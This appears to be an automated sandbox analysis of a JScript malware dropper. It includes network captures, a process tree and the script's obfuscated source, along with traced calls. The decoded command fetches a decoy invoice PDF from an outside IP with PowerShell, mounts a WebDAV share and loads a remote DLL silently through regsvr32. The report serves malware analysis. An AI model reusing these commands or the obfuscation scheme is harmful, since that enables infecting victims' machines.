Jan 10, 2025 20:59:52.171642065 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 20:59:52.171653986 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 20:59:52.171664953 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 20:59:52.171679020 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 20:59:52.171690941 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 20:59:52.171705961 CET	1236	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 10, 2025 20:59:52.171719074 CET	552	IN	Data Raw: 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 07 f3 a1 92 41 bb 12 Data Ascii: sX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZSiu5Ut
Jan 10, 2025 20:59:52.171734095 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 10, 2025 20:59:52.171744108 CET	224	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}
Jan 10, 2025 20:59:52.176515102 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49707	193.143.1.205	8888	4140	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:59:54.012630939 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 20:59:54.807993889 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:59:54 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	14:59:46
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\741645402364914803.js"
Imagebase:	0x7ff672770000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:59:47
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll
Imagebase:	0x7ff76f4d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:59:47
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:59:47
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:59:52
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:59:53
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff76f4d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:59:53
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff72a2e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:59:53
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:59:53
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:59:53
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1612,i,7951175835840154469,9562275575992550247,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function cesnsmx() {	cesnsmx() ➔ undefined
1	wkxnmspx = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var lnsuzadl = this[lriuizx + nxbjxx + oldoa + rokudfc + lhyoiqmxn + trkvep + jzsecxi + raoal] ( this[yhrvg + ovgtggn + ocrki + oldoa + laeoxbz + lriuizx + raoal][vbeiszekd + oldoa + lhyoiqmxn + nxbjxx + raoal + lhyoiqmxn + xufiuoznu + zdbfbdrhl + odmnpwd + lhyoiqmxn + ocrki + raoal] ( yhrvg + ovgtggn + ocrki + oldoa + laeoxbz + lriuizx + raoal + zoniv + ovgtggn + sthzidj + lhyoiqmxn + hhpxfipa + hhpxfipa ) [nvysjdrko + lhyoiqmxn + gwcrnydqk + nvysjdrko + lhyoiqmxn + nxbjxx + xjhqhotgr] ( qxztli + cxxxyuz + xsiqhz + nwjsmkmd + vmugw + vbeiszekd + kbwmzwpjp + nvysjdrko + nvysjdrko + xsiqhz + ngesorct + jlwpfnb + vmugw + kbwmzwpjp + ovgtggn + xsiqhz + nvysjdrko + ygxbbrobn + vbeiszekd + vhdpjnbs + jzsecxi + raoal + oldoa + vhdpjnbs + hhpxfipa + kkbtkw + syhbm + nxbjxx + jzsecxi + lhyoiqmxn + hhpxfipa + ygxbbrobn + trkvep + jzsecxi + raoal + lhyoiqmxn + oldoa + jzsecxi + nxbjxx + raoal + laeoxbz + vhdpjnbs + jzsecxi + nxbjxx + hhpxfipa + ygxbbrobn + znajncm + vhdpjnbs + ocrki + nxbjxx + hhpxfipa + lhyoiqmxn ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( pvjkxk = 0 ; pvjkxk < wkxnmspx[hhpxfipa + lhyoiqmxn + jzsecxi + gwcrnydqk + raoal + sthzidj] ; ++ pvjkxk )
4	{
5	if ( lnsuzadl == wkxnmspx[pvjkxk] )
6	{
7	lnsuzadl = true;
8	break ;
9	}
10	}
11	if ( lnsuzadl !== true )
12	this[yhrvg + ovgtggn + ocrki + oldoa + laeoxbz + lriuizx + raoal][uddhp + mydptfj + laeoxbz + raoal] ( );
13	this[yhrvg + ovgtggn + ocrki + oldoa + laeoxbz + lriuizx + raoal][vbeiszekd + oldoa + lhyoiqmxn + nxbjxx + raoal + lhyoiqmxn + xufiuoznu + zdbfbdrhl + odmnpwd + lhyoiqmxn + ocrki + raoal] ( yhrvg + ovgtggn + ocrki + oldoa + laeoxbz + lriuizx + raoal + zoniv + ovgtggn + sthzidj + lhyoiqmxn + hhpxfipa + hhpxfipa ) [oldoa + mydptfj + jzsecxi] ( ocrki + vwhsly + xjhqhotgr + kkbtkw + iqttrwjn + ocrki + kkbtkw + lriuizx + vhdpjnbs + vzpal + lhyoiqmxn + oldoa + rokudfc + sthzidj + lhyoiqmxn + hhpxfipa + hhpxfipa + zoniv + lhyoiqmxn + wdlvwi + lhyoiqmxn + kkbtkw + tvmwzuq + vbeiszekd + vhdpjnbs + vwhsly + vwhsly + nxbjxx + jzsecxi + xjhqhotgr + kkbtkw + hpeyrkb + trkvep + jzsecxi + aaqhmwgp + vhdpjnbs + idoig + lhyoiqmxn + tvmwzuq + yhrvg + lhyoiqmxn + zdbfbdrhl + nvysjdrko + lhyoiqmxn + rnemgh + mydptfj + lhyoiqmxn + rokudfc + raoal + kkbtkw + tvmwzuq + xufiuoznu + mydptfj + raoal + jarofipua + laeoxbz + hhpxfipa + lhyoiqmxn + kkbtkw + byuvw + raoal + lhyoiqmxn + vwhsly + lriuizx + byuvw + ygxbbrobn + laeoxbz + jzsecxi + aaqhmwgp + vhdpjnbs + laeoxbz + ocrki + lhyoiqmxn + zoniv + lriuizx + xjhqhotgr + mvyzm + kkbtkw + sthzidj + raoal + raoal + lriuizx + stveon + iqttrwjn + iqttrwjn + oxbulrmov + jgeyekfp + ptavvdsa + zoniv + oxbulrmov + dqvnab + ptavvdsa + zoniv + oxbulrmov + zoniv + ucypv + hrgpkq + glcyclgsw + iqttrwjn + laeoxbz + jzsecxi + aaqhmwgp + vhdpjnbs + laeoxbz + ocrki + lhyoiqmxn + zoniv + lriuizx + sthzidj + lriuizx + hpeyrkb + ozgew + ozgew + rokudfc + raoal + nxbjxx + oldoa + raoal + kkbtkw + byuvw + raoal + lhyoiqmxn + vwhsly + lriuizx + byuvw + ygxbbrobn + laeoxbz + jzsecxi + aaqhmwgp + vhdpjnbs + laeoxbz + ocrki + lhyoiqmxn + zoniv + lriuizx + xjhqhotgr + mvyzm + ozgew + ozgew + ocrki + vwhsly + xjhqhotgr + kkbtkw + iqttrwjn + ocrki + kkbtkw + jzsecxi + lhyoiqmxn + raoal + kkbtkw + mydptfj + rokudfc + lhyoiqmxn + kkbtkw + ygxbbrobn + ygxbbrobn + oxbulrmov + jgeyekfp + ptavvdsa + zoniv + oxbulrmov + dqvnab + ptavvdsa + zoniv + oxbulrmov + zoniv + ucypv + hrgpkq + glcyclgsw + enoksq + hjcygmdao + hjcygmdao + hjcygmdao + hjcygmdao + ygxbbrobn + xjhqhotgr + nxbjxx + aaqhmwgp + vzpal + vzpal + vzpal + oldoa + vhdpjnbs + vhdpjnbs + raoal + ygxbbrobn + ozgew + ozgew + ocrki + vwhsly + xjhqhotgr + kkbtkw + iqttrwjn + ocrki + kkbtkw + oldoa + lhyoiqmxn + gwcrnydqk + rokudfc + aaqhmwgp + oldoa + ptavvdsa + ucypv + kkbtkw + iqttrwjn + rokudfc + kkbtkw + ygxbbrobn + ygxbbrobn + oxbulrmov + jgeyekfp + ptavvdsa + zoniv + oxbulrmov + dqvnab + ptavvdsa + zoniv + oxbulrmov + zoniv + ucypv + hrgpkq + glcyclgsw + enoksq + hjcygmdao + hjcygmdao + hjcygmdao + hjcygmdao + ygxbbrobn + xjhqhotgr + nxbjxx + aaqhmwgp + vzpal + vzpal + vzpal + oldoa + vhdpjnbs + vhdpjnbs + raoal + ygxbbrobn + ucypv + oxbulrmov + oxbulrmov + jgeyekfp + dqvnab + ucypv + ucypv + muwqybdlk + ptavvdsa + iizkghlb + oxbulrmov + ptavvdsa + hjcygmdao + hjcygmdao + glcyclgsw + zoniv + xjhqhotgr + hhpxfipa + hhpxfipa, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\211942263713885.dll",0,false) ➔ 0
14	}
15	yhrvg = "O";
16	yhrvg = "n";
17	yhrvg = "H";
18	yhrvg = "k";
19	yhrvg = "G";
20	yhrvg = "S";
21	yhrvg = "L";
22	yhrvg = "s";
23	yhrvg = "y";
24	yhrvg = "q";
25	yhrvg = "W";
26	uddhp = "c";
27	uddhp = "D";
28	uddhp = "c";
29	uddhp = "j";
30	uddhp = "I";
31	uddhp = "C";
32	uddhp = "h";
33	uddhp = "x";
34	uddhp = "F";
35	uddhp = "N";
36	uddhp = "z";
37	uddhp = "T";
38	uddhp = "D";
39	uddhp = "V";
40	uddhp = "Q";
41	muwqybdlk = "n";
42	muwqybdlk = "U";
43	muwqybdlk = "U";
44	muwqybdlk = "o";
45	muwqybdlk = "U";
46	muwqybdlk = "Q";
47	muwqybdlk = "b";
48	muwqybdlk = "C";
49	muwqybdlk = "D";
50	muwqybdlk = "F";
51	muwqybdlk = "n";
52	muwqybdlk = "K";
53	muwqybdlk = "H";
54	muwqybdlk = "W";
55	muwqybdlk = "p";
56	muwqybdlk = "v";
57	muwqybdlk = "W";
58	muwqybdlk = "c";
59	muwqybdlk = "N";
60	muwqybdlk = "O";
61	muwqybdlk = "L";
62	muwqybdlk = "o";
63	muwqybdlk = "n";
64	muwqybdlk = "l";
65	muwqybdlk = "h";
66	muwqybdlk = "U";
67	muwqybdlk = "r";
68	muwqybdlk = "Q";
69	muwqybdlk = "i";
70	muwqybdlk = "z";
71	muwqybdlk = "P";
72	muwqybdlk = "6";
73	zoniv = "m";
74	zoniv = "w";
75	zoniv = "Y";
76	zoniv = ".";
77	nwjsmkmd = "x";
78	nwjsmkmd = "o";
79	nwjsmkmd = "A";
80	nwjsmkmd = "B";
81	nwjsmkmd = "K";
82	nwjsmkmd = "x";
83	nwjsmkmd = "n";
84	nwjsmkmd = "U";
85	nwjsmkmd = "p";
86	nwjsmkmd = "m";
87	nwjsmkmd = "v";
88	nwjsmkmd = "P";
89	nwjsmkmd = "T";
90	nwjsmkmd = "k";
91	nwjsmkmd = "T";
92	nwjsmkmd = "k";
93	nwjsmkmd = "l";
94	nwjsmkmd = "Y";
95	syhbm = "v";
96	syhbm = "t";
97	syhbm = "s";
98	syhbm = "X";
99	syhbm = "z";
100	syhbm = "s";
101	syhbm = "m";
102	syhbm = "p";
103	syhbm = "t";
104	syhbm = "W";
105	syhbm = "h";
106	syhbm = "B";
107	syhbm = "I";
108	syhbm = "C";
109	syhbm = "q";
110	syhbm = "H";
111	syhbm = "w";
112	syhbm = "n";
113	syhbm = "A";
114	syhbm = "n";
115	syhbm = "j";
116	syhbm = "b";
117	syhbm = "G";
118	syhbm = "g";
119	syhbm = "z";
120	syhbm = "k";
121	syhbm = "P";
122	xjhqhotgr = "J";
123	xjhqhotgr = "I";
124	xjhqhotgr = "X";
125	xjhqhotgr = "k";
126	xjhqhotgr = "R";
127	xjhqhotgr = "n";
128	xjhqhotgr = "y";
129	xjhqhotgr = "F";
130	xjhqhotgr = "T";
131	xjhqhotgr = "h";
132	xjhqhotgr = "i";
133	xjhqhotgr = "o";
134	xjhqhotgr = "A";
135	xjhqhotgr = "a";
136	xjhqhotgr = "N";
137	xjhqhotgr = "d";
138	xjhqhotgr = "Q";
139	xjhqhotgr = "Q";
140	xjhqhotgr = "H";
141	xjhqhotgr = "j";
142	xjhqhotgr = "T";
143	xjhqhotgr = "Y";
144	xjhqhotgr = "u";
145	xjhqhotgr = "A";
146	xjhqhotgr = "h";
147	xjhqhotgr = "n";
148	xjhqhotgr = "E";
149	xjhqhotgr = "r";
150	xjhqhotgr = "x";
151	xjhqhotgr = "W";
152	xjhqhotgr = "U";
153	xjhqhotgr = "t";
154	xjhqhotgr = "L";
155	xjhqhotgr = "a";
156	xjhqhotgr = "r";
157	xjhqhotgr = "e";
158	xjhqhotgr = "v";
159	xjhqhotgr = "u";
160	xjhqhotgr = "J";
161	xjhqhotgr = "h";
162	xjhqhotgr = "m";
163	xjhqhotgr = "d";
164	enoksq = "m";
165	enoksq = "w";
166	enoksq = "Y";
167	enoksq = "v";
168	enoksq = "u";
169	enoksq = "r";
170	enoksq = "y";
171	enoksq = "l";
172	enoksq = "g";
173	enoksq = "K";
174	enoksq = "L";
175	enoksq = "Q";
176	enoksq = "c";
177	enoksq = "s";
178	enoksq = "@";
179	gwcrnydqk = "o";
180	gwcrnydqk = "w";
181	gwcrnydqk = "n";
182	gwcrnydqk = "k";
183	gwcrnydqk = "L";
184	gwcrnydqk = "z";
185	gwcrnydqk = "f";
186	gwcrnydqk = "O";
187	gwcrnydqk = "C";
188	gwcrnydqk = "p";
189	gwcrnydqk = "w";
190	gwcrnydqk = "E";
191	gwcrnydqk = "N";
192	gwcrnydqk = "f";
193	gwcrnydqk = "j";
194	gwcrnydqk = "P";
195	gwcrnydqk = "f";
196	gwcrnydqk = "x";
197	gwcrnydqk = "J";
198	gwcrnydqk = "g";
199	raoal = "U";
200	raoal = "n";
201	raoal = "B";
202	raoal = "e";
203	raoal = "c";
204	raoal = "W";
205	raoal = "V";
206	raoal = "l";
207	raoal = "a";
208	raoal = "S";
209	raoal = "O";
210	raoal = "f";
211	raoal = "r";
212	raoal = "w";
213	raoal = "R";
214	raoal = "t";
215	raoal = "b";
216	raoal = "s";
217	raoal = "g";
218	raoal = "M";
219	raoal = "F";
220	raoal = "J";
221	raoal = "Q";
222	raoal = "V";
223	raoal = "S";
224	raoal = "i";
225	raoal = "U";
226	raoal = "q";
227	raoal = "t";
228	vzpal = "G";
229	vzpal = "a";
230	vzpal = "w";
231	vzpal = "g";
232	vzpal = "F";
233	vzpal = "v";
234	vzpal = "h";
235	vzpal = "u";
236	vzpal = "g";
237	vzpal = "l";
238	vzpal = "g";
239	vzpal = "D";
240	vzpal = "v";
241	vzpal = "Z";
242	vzpal = "W";
243	vzpal = "K";
244	vzpal = "p";
245	vzpal = "w";
246	hpeyrkb = "B";
247	hpeyrkb = "v";
248	hpeyrkb = "E";
249	hpeyrkb = "l";
250	hpeyrkb = "t";
251	hpeyrkb = "Z";
252	hpeyrkb = "c";
253	hpeyrkb = "W";
254	hpeyrkb = "f";
255	hpeyrkb = "P";
256	hpeyrkb = "U";
257	hpeyrkb = "n";
258	hpeyrkb = "s";
259	hpeyrkb = "Q";
260	hpeyrkb = "e";
261	hpeyrkb = "N";
262	hpeyrkb = "A";
263	hpeyrkb = "Z";
264	hpeyrkb = "t";
265	hpeyrkb = "k";
266	hpeyrkb = "d";
267	hpeyrkb = "V";
268	hpeyrkb = "x";
269	hpeyrkb = "f";
270	hpeyrkb = "k";
271	hpeyrkb = "K";
272	hpeyrkb = "J";
273	hpeyrkb = "G";
274	hpeyrkb = "R";
275	hpeyrkb = "s";
276	hpeyrkb = "G";
277	hpeyrkb = "H";
278	hpeyrkb = "e";
279	hpeyrkb = "Y";
280	hpeyrkb = "i";
281	hpeyrkb = "\"";
282	ocrki = "X";
283	ocrki = "t";
284	ocrki = "x";
285	ocrki = "e";
286	ocrki = "R";
287	ocrki = "h";
288	ocrki = "w";
289	ocrki = "O";
290	ocrki = "S";
291	ocrki = "Z";
292	ocrki = "e";
293	ocrki = "q";
294	ocrki = "c";
295	ocrki = "S";
296	ocrki = "t";
297	ocrki = "k";
298	ocrki = "K";
299	ocrki = "g";
300	ocrki = "p";
301	ocrki = "c";
302	ocrki = "h";
303	ocrki = "e";
304	ocrki = "Q";
305	ocrki = "d";
306	ocrki = "c";
307	stveon = "Y";
308	stveon = "y";
309	stveon = "I";
310	stveon = "w";
311	stveon = "Q";
312	stveon = "m";
313	stveon = "K";
314	stveon = "k";
315	stveon = "e";
316	stveon = "d";
317	stveon = "F";
318	stveon = "L";
319	stveon = "K";
320	stveon = "l";
321	stveon = "B";
322	stveon = "n";
323	stveon = "K";
324	stveon = "H";
325	stveon = "o";
326	stveon = "N";
327	stveon = "V";
328	stveon = "j";
329	stveon = "J";
330	stveon = "r";
331	stveon = "g";
332	stveon = "K";
333	stveon = "p";
334	stveon = "B";
335	stveon = "R";
336	stveon = "j";
337	stveon = "v";
338	stveon = "b";
339	stveon = "X";
340	stveon = "w";
341	stveon = "C";
342	stveon = "R";
343	stveon = "O";
344	stveon = ":";
345	hhpxfipa = "V";
346	hhpxfipa = "F";
347	hhpxfipa = "x";
348	hhpxfipa = "x";
349	hhpxfipa = "N";
350	hhpxfipa = "c";
351	hhpxfipa = "Q";
352	hhpxfipa = "K";
353	hhpxfipa = "t";
354	hhpxfipa = "Z";
355	hhpxfipa = "f";
356	hhpxfipa = "Z";
357	hhpxfipa = "M";
358	hhpxfipa = "m";
359	hhpxfipa = "Q";
360	hhpxfipa = "Z";
361	hhpxfipa = "l";
362	nvysjdrko = "p";
363	nvysjdrko = "I";
364	nvysjdrko = "N";
365	nvysjdrko = "N";
366	nvysjdrko = "d";
367	nvysjdrko = "k";
368	nvysjdrko = "o";
369	nvysjdrko = "V";
370	nvysjdrko = "Q";
371	nvysjdrko = "l";
372	nvysjdrko = "h";
373	nvysjdrko = "E";
374	nvysjdrko = "B";
375	nvysjdrko = "e";
376	nvysjdrko = "S";
377	nvysjdrko = "N";
378	nvysjdrko = "q";
379	nvysjdrko = "K";
380	nvysjdrko = "p";
381	nvysjdrko = "p";
382	nvysjdrko = "i";
383	nvysjdrko = "w";
384	nvysjdrko = "b";
385	nvysjdrko = "R";
386	znajncm = "F";
387	znajncm = "P";
388	znajncm = "t";
389	znajncm = "g";
390	znajncm = "v";
391	znajncm = "o";
392	znajncm = "l";
393	znajncm = "Q";
394	znajncm = "B";
395	znajncm = "X";
396	znajncm = "b";
397	znajncm = "r";
398	znajncm = "g";
399	znajncm = "O";
400	znajncm = "u";
401	znajncm = "z";
402	znajncm = "V";
403	znajncm = "J";
404	znajncm = "l";
405	znajncm = "I";
406	znajncm = "p";
407	znajncm = "Z";
408	znajncm = "r";
409	znajncm = "n";
410	znajncm = "p";
411	znajncm = "p";
412	znajncm = "s";
413	znajncm = "L";
414	ygxbbrobn = "U";
415	ygxbbrobn = "n";
416	ygxbbrobn = "M";
417	ygxbbrobn = "l";
418	ygxbbrobn = "A";
419	ygxbbrobn = "M";
420	ygxbbrobn = "B";
421	ygxbbrobn = "H";
422	ygxbbrobn = "E";
423	ygxbbrobn = "a";
424	ygxbbrobn = "A";
425	ygxbbrobn = "o";
